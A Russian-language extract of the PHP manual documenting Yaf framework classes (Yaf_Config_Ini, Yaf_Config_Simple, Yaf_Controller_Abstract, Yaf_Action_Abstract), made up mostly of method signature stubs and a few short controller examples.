К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetUnset

  • « Yaf_Config_Ini::offsetSet
  • Yaf_Config_Ini::readonly »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение offsetUnset

Yaf_Config_Ini::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetUnset — Назначение offsetUnset

Описание

public Yaf_Config_Ini::offsetUnset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение readonly

  • « Yaf_Config_Ini::offsetUnset
  • Yaf_Config_Ini::rewind »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение readonly

Yaf_Config_Ini::readonly

(Yaf >=1.0.0)

Yaf_Config_Ini::readonly — Назначение readonly

Описание

public Yaf_Config_Ini::readonly(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение rewind

  • « Yaf_Config_Ini::readonly
  • Yaf_Config_Ini::__set »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение rewind

Yaf_Config_Ini::rewind

(Yaf >=1.0.0)

Yaf_Config_Ini::rewind — Назначение rewind

Описание

public Yaf_Config_Ini::rewind(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __set

  • « Yaf_Config_Ini::rewind
  • Yaf_Config_Ini::toArray »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение __set

Yaf_Config_Ini::__set

(Yaf >=1.0.0)

Yaf_Config_Ini::__set — Назначение __set

Описание

public Yaf_Config_Ini::__set(string $name, mixed $value): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает конфигурацию как массив PHP

  • « Yaf_Config_Ini::__set
  • Yaf_Config_Ini::valid »
  • PHP Manual
  • Yaf_Config_Ini
  • Возвращает конфигурацию как массив PHP

Yaf_Config_Ini::toArray

(Yaf >=1.0.0)

Yaf_Config_Ini::toArray — Возвращает конфигурацию как массив PHP

Описание

public Yaf_Config_Ini::toArray(): array

Возвращает массив PHP из Yaf_Config_Ini

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение valid

  • « Yaf_Config_Ini::toArray
  • Yaf_Config_Simple »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение valid

Yaf_Config_Ini::valid

(Yaf >=1.0.0)

Yaf_Config_Ini::valid — Назначение valid

Описание

public Yaf_Config_Ini::valid(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Config_Simple

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Config_Simple extends Yaf_Config_Abstract implements Iterator, ArrayAccess, Countable {
/* Свойства */
protected $_readonly;
/* Методы */
public __construct(array $configs, bool $readonly = false)
public count(): void
public current(): void
public __get(string $name = ?): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public readonly(): void
public rewind(): void
public __set(string $name, string $value): void
public toArray(): array
public valid(): void
/* Наследуемые методы */
abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed
abstract public Yaf_Config_Abstract::readonly(): bool
abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray(): array
}

Свойства

_config

_readonly

Содержание

  • Yaf_Config_Simple::__construct — Назначение __construct
  • Yaf_Config_Simple::count — Назначение count
  • Yaf_Config_Simple::current — Назначение current
  • Yaf_Config_Simple::__get — Назначение __get
  • Yaf_Config_Simple::__isset — Назначение __isset
  • Yaf_Config_Simple::key — Назначение key
  • Yaf_Config_Simple::next — Назначение next
  • Yaf_Config_Simple::offsetExists — Назначение offsetExists
  • Yaf_Config_Simple::offsetGet — Назначение offsetGet
  • Yaf_Config_Simple::offsetSet — Назначение offsetSet
  • Yaf_Config_Simple::offsetUnset — Назначение offsetUnset
  • Yaf_Config_Simple::readonly — Назначение readonly
  • Yaf_Config_Simple::rewind — Назначение rewind
  • Yaf_Config_Simple::__set — Назначение __set
  • Yaf_Config_Simple::toArray — Возвращает массив PHP
  • Yaf_Config_Simple::valid — Назначение valid

User Contributed Notes

msn_and_i at hotmail dot com 15-Apr-2015 06:47
The Yaf_Config_Simple construct method parameters may be wrong documenting,  actually first parameter shoud be array and second is string indicating if readonly.


Назначение __construct

  • « Yaf_Config_Simple
  • Yaf_Config_Simple::count »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение __construct

Yaf_Config_Simple::__construct

(Yaf >=1.0.0)

Yaf_Config_Simple::__construct — Назначение __construct

Описание

public Yaf_Config_Simple::__construct(array $configs, bool $readonly = false)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

configs

readonly

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение count

  • « Yaf_Config_Simple::__construct
  • Yaf_Config_Simple::current »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение count

Yaf_Config_Simple::count

(Yaf >=1.0.0)

Yaf_Config_Simple::count — Назначение count

Описание

public Yaf_Config_Simple::count(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение current

  • « Yaf_Config_Simple::count
  • Yaf_Config_Simple::__get »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение current

Yaf_Config_Simple::current

(Yaf >=1.0.0)

Yaf_Config_Simple::current — Назначение current

Описание

public Yaf_Config_Simple::current(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __get

  • « Yaf_Config_Simple::current
  • Yaf_Config_Simple::__isset »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение __get

Yaf_Config_Simple::__get

(Yaf >=1.0.0)

Yaf_Config_Simple::__get — Назначение __get

Описание

public Yaf_Config_Simple::__get(string $name = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __isset

  • « Yaf_Config_Simple::__get
  • Yaf_Config_Simple::key »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение __isset

Yaf_Config_Simple::__isset

(Yaf >=1.0.0)

Yaf_Config_Simple::__isset — Назначение __isset

Описание

public Yaf_Config_Simple::__isset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение key

  • « Yaf_Config_Simple::__isset
  • Yaf_Config_Simple::next »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение key

Yaf_Config_Simple::key

(Yaf >=1.0.0)

Yaf_Config_Simple::key — Назначение key

Описание

public Yaf_Config_Simple::key(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение next

  • « Yaf_Config_Simple::key
  • Yaf_Config_Simple::offsetExists »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение next

Yaf_Config_Simple::next

(Yaf >=1.0.0)

Yaf_Config_Simple::next — Назначение next

Описание

public Yaf_Config_Simple::next(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetExists

  • « Yaf_Config_Simple::next
  • Yaf_Config_Simple::offsetGet »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение offsetExists

Yaf_Config_Simple::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetExists — Назначение offsetExists

Описание

public Yaf_Config_Simple::offsetExists(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetGet

  • « Yaf_Config_Simple::offsetExists
  • Yaf_Config_Simple::offsetSet »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение offsetGet

Yaf_Config_Simple::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetGet — Назначение offsetGet

Описание

public Yaf_Config_Simple::offsetGet(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetSet

  • « Yaf_Config_Simple::offsetGet
  • Yaf_Config_Simple::offsetUnset »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение offsetSet

Yaf_Config_Simple::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetSet — Назначение offsetSet

Описание

public Yaf_Config_Simple::offsetSet(string $name, string $value): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetUnset

  • « Yaf_Config_Simple::offsetSet
  • Yaf_Config_Simple::readonly »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение offsetUnset

Yaf_Config_Simple::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetUnset — Назначение offsetUnset

Описание

public Yaf_Config_Simple::offsetUnset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение readonly

  • « Yaf_Config_Simple::offsetUnset
  • Yaf_Config_Simple::rewind »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение readonly

Yaf_Config_Simple::readonly

(Yaf >=1.0.0)

Yaf_Config_Simple::readonly — Назначение readonly

Описание

public Yaf_Config_Simple::readonly(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение rewind

  • « Yaf_Config_Simple::readonly
  • Yaf_Config_Simple::__set »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение rewind

Yaf_Config_Simple::rewind

(Yaf >=1.0.0)

Yaf_Config_Simple::rewind — Назначение rewind

Описание

public Yaf_Config_Simple::rewind(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __set

  • « Yaf_Config_Simple::rewind
  • Yaf_Config_Simple::toArray »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение __set

Yaf_Config_Simple::__set

(Yaf >=1.0.0)

Yaf_Config_Simple::__set — Назначение __set

Описание

public Yaf_Config_Simple::__set(string $name, string $value): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив PHP

  • « Yaf_Config_Simple::__set
  • Yaf_Config_Simple::valid »
  • PHP Manual
  • Yaf_Config_Simple
  • Возвращает массив PHP

Yaf_Config_Simple::toArray

(Yaf >=1.0.0)

Yaf_Config_Simple::toArray — Возвращает массив PHP

Описание

public Yaf_Config_Simple::toArray(): array

Возвращает массив PHP из Yaf_Config_Simple

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение valid

  • « Yaf_Config_Simple::toArray
  • Yaf_Controller_Abstract »
  • PHP Manual
  • Yaf_Config_Simple
  • Назначение valid

Yaf_Config_Simple::valid

(Yaf >=1.0.0)

Yaf_Config_Simple::valid — Назначение valid

Описание

public Yaf_Config_Simple::valid(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Controller_Abstract

(Yaf >=1.0.0)

Введение

Yaf_Controller_Abstract это сердце системы Yaf. MVC расшифровывается как Model-View-Controller и представляет собой шаблон проектирования, предназначенный для отделения логики приложения от логики отображения

Каждый пользовательский контроллер должен наследовать Yaf_Controller_Abstract.

Вы обнаружите, что не можете определить функцию __construct для своего пользовательского контроллера, поэтому Yaf_Controller_Abstract предоставляет

Если вы определили метод init() в своём пользовательском контроллере, он будет вызываться до тех пор, пока будет создан экземпляр контроллера.

У действия при поступлении запроса могут быть аргументы. Если в параметрах запроса есть одна и та же переменная имени (Yaf_Request_Abstract::getParam()) после перенаправления, Yaf передаст их методу действия (Yaf_Action_Abstract::execute()).

Замечание:

Аргументы извлекаются напрямую без фильтрации, перед использованием их следует тщательно обработать.

Обзор классов

abstract class Yaf_Controller_Abstract {
/* Свойства */
public $actions;
protected $_module;
protected $_name;
protected $_request;
protected $_response;
protected $_invoke_args;
protected $_view;
/* Методы */
final private __construct()
protected display(string $tpl, array $parameters = ?): bool
public forward(string $action, array $paramters = ?): bool
public getInvokeArg(string $name): void
public getInvokeArgs(): void
public getModuleName(): string
public getName(): string
public getRequest(): Yaf_Request_Abstract
public getResponse(): Yaf_Response_Abstract
public getView(): Yaf_View_Interface
public getViewpath(): string
public init(): void
public initView(array $options = ?): void
public redirect(string $url): bool
protected render(string $tpl, array $parameters = ?): string
public setViewpath(string $view_directory): void
}

Свойства

actions

Вы также можете определить метод действия в отдельном скрипте PHP, используя это свойство и Yaf_Action_Abstract.

Пример #1 Определение действия в отдельном файле

<?php
class IndexController extends Yaf_Controller_Abstract {
protected $actions = array(
/** теперь dummyAction определяется в отдельном файле */
"dummy" => "actions/Dummy_action.php",
);

/* у метода действия могут быть аргументы */
public function indexAction($name, $id) {
/* $name и $id небезопасные необработанные данные */
assert($name == $this->getRequest()->getParam("name"));
assert($id == $this->_request->getParam("id"));
}
}
?>

Пример #2 Dummy_action.php

<?php
class DummyAction extends Yaf_Action_Abstract {
/* класс действия должен определить этот метод как точку входа */
public function execute() {
}
}
?>

_module

имя модуля

_name

имя контроллера

_request

текущий объект запроса

_response

текущий объект ответа

_invoke_args

_view

объект движка отображения

Содержание

  • Yaf_Controller_Abstract::__construct — Конструктор класса Yaf_Controller_Abstract
  • Yaf_Controller_Abstract::display — Назначение display
  • Yaf_Controller_Abstract::forward — Переходит к другому действию
  • Yaf_Controller_Abstract::getInvokeArg — Назначение getInvokeArg
  • Yaf_Controller_Abstract::getInvokeArgs — Назначение getInvokeArgs
  • Yaf_Controller_Abstract::getModuleName — Получает имя модуля
  • Yaf_Controller_Abstract::getName — Получает своё имя
  • Yaf_Controller_Abstract::getRequest — Получает текущий объект запроса
  • Yaf_Controller_Abstract::getResponse — Получает текущий объект ответа
  • Yaf_Controller_Abstract::getView — Получает движок отображения
  • Yaf_Controller_Abstract::getViewpath — Назначение getViewpath
  • Yaf_Controller_Abstract::init — Инициализатор контроллера
  • Yaf_Controller_Abstract::initView — Назначение initView
  • Yaf_Controller_Abstract::redirect — Перенаправляет на URL
  • Yaf_Controller_Abstract::render — Отображает шаблон представления
  • Yaf_Controller_Abstract::setViewpath — Назначение setViewpath

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Controller_Abstract

  • « Yaf_Controller_Abstract
  • Yaf_Controller_Abstract::display »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Конструктор класса Yaf_Controller_Abstract

Yaf_Controller_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Controller_Abstract::__construct — Конструктор класса Yaf_Controller_Abstract

Описание

final private Yaf_Controller_Abstract::__construct()

Yaf_Controller_Abstract::__construct() — окончательный (final) метод и не может быть переопределён. Вы можете посмотреть вместо этого Yaf_Controller_Abstract::init().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Controller_Abstract::init() - Инициализатор контроллера

User Contributed Notes

There are no user contributed notes for this page.


Назначение display

  • « Yaf_Controller_Abstract::__construct
  • Yaf_Controller_Abstract::forward »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение display

Yaf_Controller_Abstract::display

(Yaf >=1.0.0)

Yaf_Controller_Abstract::display — Назначение display

Описание

protected Yaf_Controller_Abstract::display(string $tpl, array $parameters = ?): bool

Список параметров

tpl

parameters

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Переходит к другому действию

  • « Yaf_Controller_Abstract::display
  • Yaf_Controller_Abstract::getInvokeArg »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Переходит к другому действию

Yaf_Controller_Abstract::forward

(Yaf >=1.0.0)

Yaf_Controller_Abstract::forward — Переходит к другому действию

Описание

public Yaf_Controller_Abstract::forward(string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::forward(string $controller, string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::forward(
string $module,
string $controller,
string $action,
array $paramters = ?
): bool

Перенаправляет текущий процесс выполнения на другое действие.

Замечание:

Метод не переключается на указанное действие немедленно, переход происходит после завершения текущего потока.

Список параметров

module

Имя целевого модуля, если задано NULL, то подразумевается имя модуля по умолчанию

controller

Имя целевого контроллера

action

Имя целевого действия

paramters

Аргументы вызова

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Yaf_Controller_Abstract::forward()

<?php
class IndexController extends Yaf_Controller_Abstract
{
public function indexAction(){
$logined = $_SESSION["login"];
if (!$logined) {
$this->forward("login", array("from" => "Index")); // вперёд к действию login
return FALSE; // это важно, это закончить текущий рабочий поток
// и сказать Yaf не делать авторендеринг
}

// other processes
}

public function loginAction() {
echo "Вход, перенаправлено с действия ", $this->_request->getParam("from");
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

   Вход, перенаправлено с действия Index

Смотрите также

  • Yaf_Request_Abstrace::getParam()

User Contributed Notes

There are no user contributed notes for this page.


Назначение getInvokeArg

  • « Yaf_Controller_Abstract::forward
  • Yaf_Controller_Abstract::getInvokeArgs »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение getInvokeArg

Yaf_Controller_Abstract::getInvokeArg

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArg — Назначение getInvokeArg

Описание

public Yaf_Controller_Abstract::getInvokeArg(string $name): void

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getInvokeArgs

  • « Yaf_Controller_Abstract::getInvokeArg
  • Yaf_Controller_Abstract::getModuleName »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение getInvokeArgs

Yaf_Controller_Abstract::getInvokeArgs

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArgs — Назначение getInvokeArgs

Описание

public Yaf_Controller_Abstract::getInvokeArgs(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает имя модуля

  • « Yaf_Controller_Abstract::getInvokeArgs
  • Yaf_Controller_Abstract::getName »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Получает имя модуля

Yaf_Controller_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getModuleName — Получает имя модуля

Описание

public Yaf_Controller_Abstract::getModuleName(): string

Получает имя модуля контроллера

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает своё имя

  • « Yaf_Controller_Abstract::getModuleName
  • Yaf_Controller_Abstract::getRequest »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Получает своё имя

Yaf_Controller_Abstract::getName

(Yaf >=3.2.0)

Yaf_Controller_Abstract::getName — Получает своё имя

Описание

public Yaf_Controller_Abstract::getName(): string

Получает имя контроллера

Список параметров

У этой функции нет параметров.

Возвращаемые значения

string, имя контроллера

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий объект запроса

  • « Yaf_Controller_Abstract::getName
  • Yaf_Controller_Abstract::getResponse »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Получает текущий объект запроса

Yaf_Controller_Abstract::getRequest

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getRequest — Получает текущий объект запроса

Описание

public Yaf_Controller_Abstract::getRequest(): Yaf_Request_Abstract

Получает текущий объект запроса

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр Yaf_Request_Abstract

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий объект ответа

  • « Yaf_Controller_Abstract::getRequest
  • Yaf_Controller_Abstract::getView »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Получает текущий объект ответа

Yaf_Controller_Abstract::getResponse

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getResponse — Получает текущий объект ответа

Описание

public Yaf_Controller_Abstract::getResponse(): Yaf_Response_Abstract

Получает текущий объект ответа

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр Yaf_Response_Abstract

User Contributed Notes

huangby19890920 at gmail dot com 19-Aug-2017 07:21
???????,????
Yaf_Response_Http


Получает движок отображения

  • « Yaf_Controller_Abstract::getResponse
  • Yaf_Controller_Abstract::getViewpath »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Получает движок отображения

Yaf_Controller_Abstract::getView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getView — Получает движок отображения

Описание

public Yaf_Controller_Abstract::getView(): Yaf_View_Interface

Получает движок отображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getViewpath

  • « Yaf_Controller_Abstract::getView
  • Yaf_Controller_Abstract::init »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение getViewpath

Yaf_Controller_Abstract::getViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getViewpath — Назначение getViewpath

Описание

public Yaf_Controller_Abstract::getViewpath(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Инициализатор контроллера

  • « Yaf_Controller_Abstract::getViewpath
  • Yaf_Controller_Abstract::initView »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Инициализатор контроллера

Yaf_Controller_Abstract::init

(Yaf >=1.0.0)

Yaf_Controller_Abstract::init — Инициализатор контроллера

Описание

public Yaf_Controller_Abstract::init(): void

Yaf_Controller_Abstract::__construct() — окончательный (final) метод, это означает, что пользователи не могут переопределить его. Но пользователи могут определить Yaf_Controller_Abstract::init(), который будет вызываться после создания экземпляра объекта контроллера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Controller_Abstract::__construct() - Конструктор класса Yaf_Controller_Abstract

User Contributed Notes

There are no user contributed notes for this page.


Назначение initView

  • « Yaf_Controller_Abstract::init
  • Yaf_Controller_Abstract::redirect »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение initView

Yaf_Controller_Abstract::initView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::initView — Назначение initView

Описание

public Yaf_Controller_Abstract::initView(array $options = ?): void

Список параметров

options

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перенаправляет на URL

  • « Yaf_Controller_Abstract::initView
  • Yaf_Controller_Abstract::render »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Перенаправляет на URL

Yaf_Controller_Abstract::redirect

(Yaf >=1.0.0)

Yaf_Controller_Abstract::redirect — Перенаправляет на URL

Описание

public Yaf_Controller_Abstract::redirect(string $url): bool

Перенаправляет на URL, отправив заголовок 302

Список параметров

url

URL местоположения

Возвращаемые значения

Тип bool

User Contributed Notes

There are no user contributed notes for this page.


Отображает шаблон представления

  • « Yaf_Controller_Abstract::redirect
  • Yaf_Controller_Abstract::setViewpath »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Отображает шаблон представления

Yaf_Controller_Abstract::render

(Yaf >=1.0.0)

Yaf_Controller_Abstract::render — Отображает шаблон представления

Описание

protected Yaf_Controller_Abstract::render(string $tpl, array $parameters = ?): string

Список параметров

tpl

parameters

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение setViewpath

  • « Yaf_Controller_Abstract::render
  • Yaf_Action_Abstract »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Назначение setViewpath

Yaf_Controller_Abstract::setViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::setViewpath — Назначение setViewpath

Описание

public Yaf_Controller_Abstract::setViewpath(string $view_directory): void

Список параметров

view_directory

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Action_Abstract

(Yaf >=1.0.0)

Введение

Действие должно определяться в отдельном файле в Yaf (смотрите Yaf_Controller_Abstract). Также, все классы действия должны расширять Yaf_Action_Abstract.

Так как необходима точка входа, которую смог бы использовать Yaf, вы, в вашем класе, должны реализовать метод Yaf_Action_Abstract::execute().

Обзор классов

class Yaf_Action_Abstract extends Yaf_Controller_Abstract {
/* Свойства */
protected $_controller;
/* Методы */
abstract publicexecute(mixed ...$args): mixed
publicgetController(): Yaf_Controller_Abstract
public getControllerName(): string
/* Наследуемые методы */
protected Yaf_Controller_Abstract::display(string $tpl, array $parameters = ?): bool
public Yaf_Controller_Abstract::forward(string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::getInvokeArg(string $name): void
public Yaf_Controller_Abstract::getInvokeArgs(): void
public Yaf_Controller_Abstract::getModuleName(): string
public Yaf_Controller_Abstract::getName(): string
public Yaf_Controller_Abstract::getRequest(): Yaf_Request_Abstract
public Yaf_Controller_Abstract::getResponse(): Yaf_Response_Abstract
public Yaf_Controller_Abstract::getView(): Yaf_View_Interface
public Yaf_Controller_Abstract::getViewpath(): string
public Yaf_Controller_Abstract::init(): void
public Yaf_Controller_Abstract::initView(array $options = ?): void
public Yaf_Controller_Abstract::redirect(string $url): bool
protected Yaf_Controller_Abstract::render(string $tpl, array $parameters = ?): string
public Yaf_Controller_Abstract::setViewpath(string $view_directory): void
}

Свойства

_module

_name

_request

_response

_invoke_args

_view

_controller

Содержание

  • Yaf_Action_Abstract::execute — Точка входа для Action-классов
  • Yaf_Action_Abstract::getController — Получить объект контроллер
  • Yaf_Action_Abstract::getControllerName — Получает имя контроллера

User Contributed Notes

There are no user contributed notes for this page.


Точка входа для Action-классов

  • « Yaf_Action_Abstract
  • Yaf_Action_Abstract::getController »
  • PHP Manual
  • Yaf_Action_Abstract
  • Точка входа для Action-классов

Yaf_Action_Abstract::execute

(Yaf >=1.0.0)

Yaf_Action_Abstract::execute — Точка входа для Action-классов

Описание

abstract publicYaf_Action_Abstract::execute(mixed ...$args): mixed

Пользователь должен определять этот метод для Action-классов, он является точкой входа в Action. Yaf_Action_Abstract::execute() может принимать аргументы.

Замечание:

Значение, извлекаемое из запроса не безопасно. Вы должны самостоятельно проверять его перед использованием.

Список параметров

args

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Action_Abstract::execute()

<?php
/**
* Пример контроллера
*/
class ProductController extends Yaf_Controller_Abstract {
protected $actions = array(
"index" => "actions/Index.php",
);
}
?>

Пример #2 Пример использования Yaf_Action_Abstract::execute()

<?php
/**
* ListAction
*/
class ListAction extends Yaf_Action_Abstract {
public function execute ($name, $id) {
assert($name == $this->getRequest()->getParam("name"));
assert($id == $this->getRequest()->getParam("id"));
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

/**
 * Now assuming we are using the Yaf_Route_Static route
 * for request: http://yourdomain/product/list/name/yaf/id/22
 * will result:
 */
 bool(true)
 bool(true)

Смотрите также

User Contributed Notes

There are no user contributed notes for this page.


Получить объект контроллер

  • « Yaf_Action_Abstract::execute
  • Yaf_Action_Abstract::getControllerName »
  • PHP Manual
  • Yaf_Action_Abstract
  • Получить объект контроллер

Yaf_Action_Abstract::getController

(Yaf >=1.0.0)

Yaf_Action_Abstract::getController — Получить объект контроллер

Описание

publicYaf_Action_Abstract::getController(): Yaf_Controller_Abstract

Получить текущий объект контроллер.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса Yaf_Controller_Abstract

User Contributed Notes

There are no user contributed notes for this page.


Получает имя контроллера

  • « Yaf_Action_Abstract::getController
  • Yaf_View_Interface »
  • PHP Manual
  • Yaf_Action_Abstract
  • Получает имя контроллера

Yaf_Action_Abstract::getControllerName

(Информация о версии неизвестна, возможно, только в Git)

Yaf_Action_Abstract::getControllerName — Получает имя контроллера

Описание

public Yaf_Action_Abstract::getControllerName(): string

Получает имя контроллера

Список параметров

У этой функции нет параметров.

Возвращаемые значения

string, имя контроллера

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_View_Interface

(Yaf >=1.0.0)

Введение

Yaf предоставляет разработчикам возможность использовать их собственный движок отображения, отличающийся от встроенного Yaf_View_Simple. Пример реализации смотрите в описании Yaf_Dispatcher::setView().

Обзор классов

class Yaf_View_Interface {
/* Методы */
abstract public assign(string $name, string $value = ?): bool
